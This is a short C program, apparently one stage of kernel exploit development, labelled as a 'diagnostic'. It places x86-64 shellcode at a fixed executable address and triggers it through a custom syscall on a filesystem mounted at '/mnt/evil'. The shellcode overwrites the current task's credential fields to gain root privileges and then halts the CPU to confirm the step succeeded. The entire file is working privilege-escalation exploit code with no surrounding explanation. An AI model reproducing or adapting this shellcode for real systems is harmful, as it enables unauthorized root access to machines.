/* DF-0873 diagnostic #2: cred escalation + cli;hlt.  Freezes => cred OK. */
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#define SHELLCODE_ADDR 0x0000000001337000ULL
__attribute__((noinline, aligned(4096)))
static void shellcode(void)
{
    __asm__ volatile(
        "movq %%gs:0x0, %%rax\n\t"
        "movq 0x08(%%rax), %%rax\n\t"
        "movq 0xa8(%%rax), %%rdi\n\t"
        "movq 0x10(%%rdi), %%rsi\n\t"
        "movl $0, 0x40(%%rsi)\n\t"
        "movl $0, 0xa0(%%rsi)\n\t"
        "movl $0, 0xa4(%%rsi)\n\t"
        "movw $1, 0x44(%%rsi)\n\t"
        "movl $0, 0xa8(%%rsi)\n\t"
        "movl $0, 0x48(%%rsi)\n\t"
        "cli\n\t"
        "1: hlt\n\t"
        "jmp 1b\n\t"
        ::: "rax","rdi","rsi");
}
__attribute__((noinline, aligned(4096)))
static void shellcode_end(void) { }
#define SYS_getdents 480
int main(int argc, char **argv)
{
    const char *mp = (argc > 1) ? argv[1] : "/mnt/evil";
    size_t sc_len = (size_t)((char *)shellcode_end - (char *)shellcode);
    void *p = mmap((void *)SHELLCODE_ADDR, 0x1000,
                   PROT_READ|PROT_WRITE|PROT_EXEC,
                   MAP_PRIVATE|MAP_ANON|MAP_FIXED, -1, 0);
    if (p == MAP_FAILED) { perror("mmap"); return 2; }
    memcpy(p, (void *)shellcode, sc_len);
    fprintf(stderr, "[diag2] cred+halt shellcode at %p\n", p);
    int fd = open(mp, O_RDONLY|O_DIRECTORY);
    if (fd < 0) { perror("open"); return 2; }
    char buf[64];
    syscall(SYS_getdents, fd, buf, sizeof(buf));
    fprintf(stderr, "[diag2] returned (cred+halt not reached?)\n");
    return 0;
}